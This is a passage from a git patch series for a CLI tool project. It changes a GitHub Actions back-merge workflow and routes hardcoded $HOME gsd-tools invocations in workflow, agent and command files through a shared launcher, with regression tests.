force-push. - Apply labels non-fatally so a missing label can't abort PR creation. - On a genuine merge conflict, fail loudly (::error + exit 1) instead of pushing an empty branch and opening a PR with no diff. Closes #698 Co-authored-by: Claude Opus 4.8 --- .github/workflows/auto-backmerge.yml | 57 ++++++++++++++-------------- 1 file changed, 29 insertions(+), 28 deletions(-) diff --git a/.github/workflows/auto-backmerge.yml b/.github/workflows/auto-backmerge.yml index e94eb1502..2c7bbe588 100644 --- a/.github/workflows/auto-backmerge.yml +++ b/.github/workflows/auto-backmerge.yml @@ -71,6 +71,10 @@ jobs: EXISTING_BR=$(echo "$EXISTING_PR" | jq -r '.headRefName // empty') if [ -n "$EXISTING_BR" ]; then + case "$EXISTING_BR" in + chore/backmerge-main-to-next-*) ;; + *) echo "::error::refusing to operate on non-backmerge branch: $EXISTING_BR"; exit 1 ;; + esac echo "Updating existing back-merge branch: $EXISTING_BR" git fetch origin "$EXISTING_BR":"$EXISTING_BR" || true git checkout "$EXISTING_BR" @@ -79,7 +83,7 @@ jobs: echo "::warning::Merge conflict back-merging main into existing back-merge branch. Human resolution required." exit 1 } - git push origin "$EXISTING_BR" + git push --force origin "$EXISTING_BR" echo "branch=$EXISTING_BR" >> "$GITHUB_OUTPUT" echo "reused=true" >> "$GITHUB_OUTPUT" else @@ -87,26 +91,17 @@ jobs: git checkout -b "$BR" next # Bring main's commits onto next via a merge commit (preserves tag history). if ! git merge --no-edit -m "chore: back-merge main into next" origin/main; then - echo "::warning::Conflict during initial back-merge main → next. Pushing the branch anyway so a maintainer can resolve via PR." - # Abort and recreate as an empty branch with a CONFLICT marker — gives the maintainer a PR to work in. + echo "::error::Cannot auto-back-merge main into next: merge conflict. A maintainer must back-merge manually (git checkout next; git merge origin/main; resolve; push)." git merge --abort || true - git push origin "$BR" - gh pr create \ - --base next \ - --head "$BR" \ - --title "chore: CONFLICT back-merging main → next (manual resolution required)" \ - --label automation \ - --label backmerge \ - --label needs-human \ - --body "main moved to ${SHORT_SHA} and cannot be auto-merged into next. Check out this branch locally, resolve the conflict, and push." - exit 0 + exit 1 fi - git push origin "$BR" + git push --force origin "$BR" echo "reused=false" >> "$GITHUB_OUTPUT" fi - name: Open or update PR - if: steps.check.outputs.next_exists == 'true' && steps.branch.outputs.reused != 'true' + if: steps.check.outputs.next_exists == 'true' + id: openpr env: GH_TOKEN: ${{ secrets.GSD_BOT_PR_TOKEN || secrets.GITHUB_TOKEN }} BR: ${{ steps.branch.outputs.branch }} @@ -123,21 +118,27 @@ jobs: Generated by \`.github/workflows/auto-backmerge.yml\`. EOF ) - gh pr create \ - --base next \ - --head "$BR" \ - --title "chore: back-merge main → next (${SHORT_SHA})" \ - --label automation \ - --label backmerge \ - --body "$BODY" \ - || echo "::warning::Could not create back-merge PR (may already exist)." + PR=$(gh pr list --base next --head "$BR" --state open --json number --jq '.[0].number // empty' 2>/dev/null || echo "") + if [ -z "$PR" ]; then + PR_URL=$(gh pr create \ + --base next \ + --head "$BR" \ + --title "chore: back-merge main → next (${SHORT_SHA})" \ + --body "$BODY") + PR="${PR_URL##*/}" + fi + if [ -z "$PR" ]; then + echo "::error::back-merge PR was not created" + exit 1 + fi + gh pr edit "$PR" --add-label automation --add-label backmerge || true + echo "pr=$PR" >> "$GITHUB_OUTPUT" - - name: Enable auto-merge + - name: Admin-merge the back-merge PR if: steps.check.outputs.next_exists == 'true' env: - GH_TOKEN: ${{ github.token }} - BR: ${{ steps.branch.outputs.branch }} + GH_TOKEN: ${{ secrets.GSD_BOT_PR_TOKEN || secrets.GITHUB_TOKEN }} + PR: ${{ steps.openpr.outputs.pr }} run: | # Squash would lose the merge-commit context; use merge commit. - gh pr merge --auto --merge "$BR" \ - || echo "::warning::Could not enable auto-merge (PR may not exist yet or auto-merge is disabled on repo)." + gh pr merge --admin --merge "$PR" From 0fbce0fbc7daca9de1059001a5e3e841565fbc7f Mon Sep 17 00:00:00 2001 From: Joe <44273333+jslitzkerttcu@users.noreply.github.com> Date: Fri, 5 Jun 2026 07:57:20 -0500 Subject: [PATCH 11/94] fix(#637): route 3 more workflows through gsd_run launcher (hardcoded $HOME sweep) (#642) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(#637): route 3 more workflows through gsd_run launcher (hardcoded $HOME sweep) The hardcoded `node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs"` invocation form fixed in plan-phase.md (#621) survived in three more workflows. Same bug class: on a global/shim-only install with no project-local runtime, the hardcoded path can miss a working install, so the step reports the tool "not found" instead of resolving it via the launcher. #3668 introduced gsd_run resolution; these sites were missed. - plan-review-convergence.md: convert the 3 hardcoded invocations (init, roadmap get-phase, state planned-phase) to gsd_run. File already carried the canonical preamble (first gsd_run is the earlier convergence-enabled check). - ingest-docs.md, spec-phase.md: convert their hardcoded invocations to gsd_run and inject the canonical launcher preamble via `node scripts/sync-runtime-launcher.cjs` (these files previously had no gsd_run and no preamble). The injected preamble is byte-equal to _runtime-launcher.snippet.sh and precedes the first gsd_run call, per runtime-launcher-parity invariant (B). - Add tests/bug-637-workflow-no-hardcoded-home-tool.test.cjs: repo-wide regression guard asserting NO workflow .md invokes gsd-tools via a hardcoded $HOME path. Generalizes the plan-phase-only guard from #621 — the parity test guards retired $GSD_SDK / bare /gsd-tools tokens but not this form, which is how it survived across four files. Fails on the pre-fix files, passes after. runtime-launcher-parity 7/7; full unit suite green (3477 pass / 0 fail). Co-Authored-By: Claude Opus 4.8 (1M context) * chore(#637): add changeset fragment for PR #642 Co-Authored-By: Claude Opus 4.8 (1M context) * test(#637): update stale bug-2801 assertion to expect gsd_run bug-2801 pinned ingest-docs.md to the hardcoded node "$HOME/.../gsd-tools.cjs" init form, which #637 replaces with the gsd_run launcher. Flip the assertion to expect gsd_run init ingest-docs; the bare-gsd-tools rejection and CLI-handler tests are unchanged, and bug-637's repo-wide guard now owns the no-hardcoded-$HOME invariant. Co-Authored-By: Claude Opus 4.8 (1M context) --------- Co-authored-by: Claude Opus 4.8 (1M context) Co-authored-by: Tom Boucher --- .changeset/humble-tigers-tumble.md | 5 ++ gsd-core/workflows/ingest-docs.md | 5 +- gsd-core/workflows/plan-review-convergence.md | 6 +- gsd-core/workflows/spec-phase.md | 3 +- tests/bug-2801-ingest-docs-handler.test.cjs | 12 ++-- ...7-workflow-no-hardcoded-home-tool.test.cjs | 67 +++++++++++++++++++ 6 files changed, 87 insertions(+), 11 deletions(-) create mode 100644 .changeset/humble-tigers-tumble.md create mode 100644 tests/bug-637-workflow-no-hardcoded-home-tool.test.cjs diff --git a/.changeset/humble-tigers-tumble.md b/.changeset/humble-tigers-tumble.md new file mode 100644 index 000000000..ebc2429a8 --- /dev/null +++ b/.changeset/humble-tigers-tumble.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 642 +--- +**`/gsd-import`, `/gsd-plan-review-convergence`, and `/gsd-spec-phase` now run on global installs** — these workflows resolve `gsd-tools` via the runtime launcher instead of a hardcoded `$HOME` path, so they no longer falsely report the tool as "not found" (and stop short) when only a global/shim install is present and no project-local runtime exists. diff --git a/gsd-core/workflows/ingest-docs.md b/gsd-core/workflows/ingest-docs.md index 06985a4e3..f654cd004 100644 --- a/gsd-core/workflows/ingest-docs.md +++ b/gsd-core/workflows/ingest-docs.md @@ -52,7 +52,8 @@ If `PATH_NOT_FOUND` or `MANIFEST_NOT_FOUND`: display error and exit. Run the init query: ```bash -INIT=$(node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" init ingest-docs) +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +INIT=$(gsd_run init ingest-docs) if [[ "$INIT" == @file:* ]]; then INIT=$(cat "${INIT#@file:}"); fi ``` @@ -295,7 +296,7 @@ Preview the merge diff to the user and gate via approve-revise-abort before writ Commit the ingest results: ```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" commit \ +gsd_run commit \ "docs: ingest {N} docs from {SCAN_PATH} (#2387)" --files \ .planning/PROJECT.md \ .planning/REQUIREMENTS.md \ diff --git a/gsd-core/workflows/plan-review-convergence.md b/gsd-core/workflows/plan-review-convergence.md index 374bf8aac..eaacfefeb 100644 --- a/gsd-core/workflows/plan-review-convergence.md +++ b/gsd-core/workflows/plan-review-convergence.md @@ -63,7 +63,7 @@ Then re-run: /gsd:plan-review-convergence {PHASE} ## 2. Initialize ```bash -INIT=$(node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" init plan-phase "$PHASE") +INIT=$(gsd_run init plan-phase "$PHASE") if [[ "$INIT" == @file:* ]]; then INIT=$(cat "${INIT#@file:}"); fi ``` @@ -76,7 +76,7 @@ Set `TEXT_MODE=true` if `--text` is present in $ARGUMENTS OR `text_mode` from in ## 3. Validate Phase + Pre-flight Gate ```bash -PHASE_INFO=$(node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" roadmap get-phase "${PHASE}") +PHASE_INFO=$(gsd_run roadmap get-phase "${PHASE}") ``` **If `found` is false:** Error with available phases. Exit. @@ -230,7 +230,7 @@ fi **If HIGH_COUNT == 0 (converged):** ```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" state planned-phase --phase "${PHASE}" --name "${phase_name}" --plans "${PLAN_COUNT}" +gsd_run state planned-phase --phase "${PHASE}" --name "${phase_name}" --plans "${PLAN_COUNT}" ``` Display: diff --git a/gsd-core/workflows/spec-phase.md b/gsd-core/workflows/spec-phase.md index 620b132f3..5ae0f3d16 100644 --- a/gsd-core/workflows/spec-phase.md +++ b/gsd-core/workflows/spec-phase.md @@ -56,7 +56,8 @@ Rotate through these perspectives — each naturally surfaces different blindspo ## Step 1: Initialize ```bash -INIT=$(node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" init phase-op "${PHASE}") +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +INIT=$(gsd_run init phase-op "${PHASE}") if [[ "$INIT" == @file:* ]]; then INIT=$(cat "${INIT#@file:}"); fi ``` diff --git a/tests/bug-2801-ingest-docs-handler.test.cjs b/tests/bug-2801-ingest-docs-handler.test.cjs index 5627b5b2b..7ed979676 100644 --- a/tests/bug-2801-ingest-docs-handler.test.cjs +++ b/tests/bug-2801-ingest-docs-handler.test.cjs @@ -126,19 +126,21 @@ describe('bug-2801: ingest-docs.md workflow calls gsd-tools not gsd-sdk', () => ); }); - test('ingest-docs.md init step uses canonical node-path gsd-tools.cjs invocation', () => { + test('ingest-docs.md init step uses the gsd_run launcher (#637)', () => { const content = fs.readFileSync(WORKFLOW_FILE, 'utf-8'); // Parse fenced bash blocks structurally — do not match raw markdown text. const codeBlockRe = /```bash\r?\n([\s\S]*?)```/g; const bashLines = [...content.matchAll(codeBlockRe)] .flatMap((m) => m[1].split('\n')) .filter((l) => !/^\s*#/.test(l)); - // Per #2851 the only valid form is the absolute-path node invocation; the - // legacy bare `gsd-tools` is the bug being fixed and must not be accepted. + // #637 routes ingest-docs through the resolved `gsd_run` launcher instead of + // the hardcoded `node "$HOME/.../gsd-tools.cjs"` path (which misses global + // installs). The legacy bare `gsd-tools` form remains the bug and is still + // rejected by bug-2851's repo-wide guard. const initLine = bashLines.find((l) => - /\bnode\s+["']?\$HOME\/\.claude\/gsd-core\/bin\/gsd-tools\.cjs["']?\s+init\s+ingest-docs\b/.test(l) + /\bgsd_run\s+init\s+ingest-docs\b/.test(l) ); - assert.ok(initLine, 'workflow must invoke init ingest-docs via canonical node-path gsd-tools.cjs'); + assert.ok(initLine, 'workflow must invoke init ingest-docs via the gsd_run launcher (#637)'); }); test('cmdInitIngestDocs is exported from init.cjs', () => { diff --git a/tests/bug-637-workflow-no-hardcoded-home-tool.test.cjs b/tests/bug-637-workflow-no-hardcoded-home-tool.test.cjs new file mode 100644 index 000000000..91ce02e47 --- /dev/null +++ b/tests/bug-637-workflow-no-hardcoded-home-tool.test.cjs @@ -0,0 +1,67 @@ +// allow-test-rule: source-text-is-the-product +// Workflow .md text IS what the runtime loads and the agent executes, so +// asserting on its shell invocations tests the deployed contract directly. +// +// Repo-wide regression guard for #637 (generalizes the plan-phase-only guard +// from #621): NO workflow .md may invoke gsd-tools via a hardcoded +// `node "$HOME/.../gsd-tools.cjs"` path. On a global/shim-only install with no +// project-local runtime, that path can miss a working install, so the step +// reports the tool "not found" instead of resolving it. Every invocation must +// go through the `gsd_run` launcher (defined once per file in the canonical +// preamble, which resolves RUNTIME_DIR → .claude → PATH → $HOME in order). +// +// The parity test (runtime-launcher-parity) guards the retired $GSD_SDK and +// bare /gsd-tools tokens but NOT this hardcoded-node form — which is exactly +// how it survived across plan-phase.md (#621) and three more files (#637). + +'use strict'; + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); + +const WORKFLOWS_DIR = path.join(__dirname, '..', 'gsd-core', 'workflows'); + +// Hardcoded direct invocation form. Distinct from the canonical preamble, which +// references $HOME only inside a `[ -f "$HOME/..." ]` probe / `GSD_TOOLS=` +// assignment and always invokes `node "$GSD_TOOLS"` — never `node "$HOME/..."`. +const HARDCODED_HOME_INVOCATION = /node\s+"\$HOME\/[^"]*gsd-tools\.cjs"/; + +function collectWorkflowMarkdown(dir) { + const out = []; + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + out.push(...collectWorkflowMarkdown(full)); + } else if (entry.isFile() && entry.name.endsWith('.md')) { + out.push(full); + } + } + return out; +} + +describe('bug #637: no workflow .md hardcodes a $HOME gsd-tools invocation', () => { + test('every gsd-core/workflows/**/*.md resolves gsd-tools via gsd_run, not a hardcoded $HOME path', () => { + const files = collectWorkflowMarkdown(WORKFLOWS_DIR); + assert.ok(files.length > 0, 'expected workflow markdown files to exist'); + + const offenders = []; + for (const file of files) { + const lines = fs.readFileSync(file, 'utf8').split(/\r?\n/); + lines.forEach((line, i) => { + if (HARDCODED_HOME_INVOCATION.test(line)) { + offenders.push(`${path.relative(WORKFLOWS_DIR, file)}:${i + 1}: ${line.trim()}`); + } + }); + } + + assert.deepStrictEqual( + offenders, + [], + 'Workflow files must invoke gsd-tools via the resolved `gsd_run` launcher, ' + + 'not a hardcoded `node "$HOME/.../gsd-tools.cjs"` path. Offenders:\n' + + offenders.join('\n'), + ); + }); +}); From 0e259a589c7ac4edd484b5771ca7dbe0462b2398 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 09:26:29 -0400 Subject: [PATCH 12/94] fix(#705): route hardcoded $HOME gsd-tools invocations in agents/commands through gsd_run (#707) * fix(#705): route hardcoded $HOME gsd-tools invocations in agents/commands through gsd_run The hardcoded `node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" ` form (fixed for workflows in #621/#637) survived in agent/command surfaces and misresolves on global/shim-only installs. Route every agent-executed invocation through the resolved `gsd_run` launcher in gsd-phase-researcher, gsd-planner (load_graph_context extracted to a shared reference to stay under the planner size budget), import, and graphify. Add a regression guard over agents/ + commands/ + gsd-core/references/ bash blocks. User-facing display messages and docs are intentionally left untouched. Co-Authored-By: Claude Opus 4.8 * fix(#705): use repo changeset fragment format (type: Fixed, pr: 707) The hand-written fragment used the standard changesets package format (package: bump) which lacks the type:/pr: frontmatter the repo's docs-required lint consumes (fail_malformed_fragment / missing_type). Regenerated via scripts/changeset/new.cjs. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/sturdy-lemurs-roar.md | 5 + agents/gsd-phase-researcher.md | 5 +- agents/gsd-planner.md | 37 +----- commands/gsd/graphify.md | 17 ++- commands/gsd/import.md | 8 +- docs/INVENTORY-MANIFEST.json | 3 +- docs/INVENTORY.md | 3 +- .../references/planner-load-graph-context.md | 36 ++++++ ...-622-graphify-optional-graph-html.test.cjs | 5 +- tests/graphify-visualization.test.cjs | 4 +- tests/no-hardcoded-home-gsd-tools.test.cjs | 121 ++++++++++++++++++ 11 files changed, 195 insertions(+), 49 deletions(-) create mode 100644 .changeset/sturdy-lemurs-roar.md create mode 100644 gsd-core/references/planner-load-graph-context.md create mode 100644 tests/no-hardcoded-home-gsd-tools.test.cjs diff --git a/.changeset/sturdy-lemurs-roar.md b/.changeset/sturdy-lemurs-roar.md new file mode 100644 index 000000000..a3a255f7b --- /dev/null +++ b/.changeset/sturdy-lemurs-roar.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 707 +--- +**`/gsd:graphify`, `/gsd:import`, and planning agents now resolve `gsd-tools` on global/shim-only installs** — agent and command surfaces that invoked a hardcoded `$HOME/.claude/...gsd-tools.cjs` path now route through the resolved `gsd_run` launcher, so the step no longer reports the tool "not found" when there is no project-local runtime. diff --git a/agents/gsd-phase-researcher.md b/agents/gsd-phase-researcher.md index 8c3368436..0cf27e1f6 100644 --- a/agents/gsd-phase-researcher.md +++ b/agents/gsd-phase-researcher.md @@ -632,7 +632,8 @@ ls .planning/graphs/graph.json 2>/dev/null If graph.json exists, check freshness: ```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify status +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run graphify status ``` If the status response has `stale: true`, note for later: "Graph is {age_hours}h old -- treat semantic relationships as approximate." Include this annotation inline with any graph context injected below. @@ -640,7 +641,7 @@ If the status response has `stale: true`, note for later: "Graph is {age_hours}h Query the graph for each major capability in the phase scope (2-3 queries per D-05, discovery-focused): ```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify query "" --budget 1500 +gsd_run graphify query "" --budget 1500 ``` Derive query terms from the phase goal and requirement descriptions. Examples: diff --git a/agents/gsd-planner.md b/agents/gsd-planner.md index 135ae1494..2a6a9aaac 100644 --- a/agents/gsd-planner.md +++ b/agents/gsd-planner.md @@ -818,39 +818,10 @@ If exists, load relevant documents by phase type: -Check for knowledge graph: - -```bash -ls .planning/graphs/graph.json 2>/dev/null -``` - -If graph.json exists, check freshness: - -```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify status -``` - -If the status response has `stale: true`, note for later: "Graph is {age_hours}h old -- treat semantic relationships as approximate." Include this annotation inline with any graph context injected below. - -Query the graph for phase-relevant dependency context (single query per D-06): - -```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify query "" --budget 2000 -``` - -(graphify is not exposed on `gsd-tools query` yet; use `gsd-tools.cjs` for graphify only.) - -Use the keyword that best captures the phase goal. Examples: -- Phase "User Authentication" -> query term "auth" -- Phase "Payment Integration" -> query term "payment" -- Phase "Database Migration" -> query term "migration" - -If the query returns nodes and edges, incorporate as dependency context for planning: -- Which modules/files are semantically related to this phase's domain -- Which subsystems may be affected by changes in this phase -- Cross-document relationships that inform task ordering and wave structure - -If no results or graph.json absent, continue without graph context. +Read `gsd-core/references/planner-load-graph-context.md` and execute it. It checks for a +knowledge graph and, if `.planning/graphs/graph.json` exists, reads freshness and +phase-relevant dependency context via the `gsd_run` launcher and incorporates the results +into planning. If the graph is absent, skip and continue without graph context. diff --git a/commands/gsd/graphify.md b/commands/gsd/graphify.md index 9a025eecd..5780a148c 100644 --- a/commands/gsd/graphify.md +++ b/commands/gsd/graphify.md @@ -79,7 +79,8 @@ Modes: Run: ```bash -node $HOME/.claude/gsd-core/bin/gsd-tools.cjs graphify query +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run graphify query ``` Parse the JSON output and display results: @@ -95,7 +96,8 @@ Parse the JSON output and display results: Run: ```bash -node $HOME/.claude/gsd-core/bin/gsd-tools.cjs graphify status +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run graphify status ``` Parse the JSON output and display: @@ -119,7 +121,8 @@ Surface both so the agent can choose. Run: ```bash -node $HOME/.claude/gsd-core/bin/gsd-tools.cjs graphify diff +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run graphify diff ``` Parse the JSON output and display: @@ -137,7 +140,8 @@ If no snapshot exists, suggest running `build` twice (first to create, second to Run the pre-flight check first: ```bash -node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify build +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run graphify build ``` Parse the JSON output: @@ -156,12 +160,13 @@ GSD > Building knowledge graph... Run the build, copy artifacts, write the diff snapshot, and report the summary in a single foreground Bash call so the whole pipeline survives to completion. Use a `timeout` of `600000` ms (10 minutes), which covers the `graphify.build_timeout` ceiling (default 300 s) with margin: ```bash +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi graphify 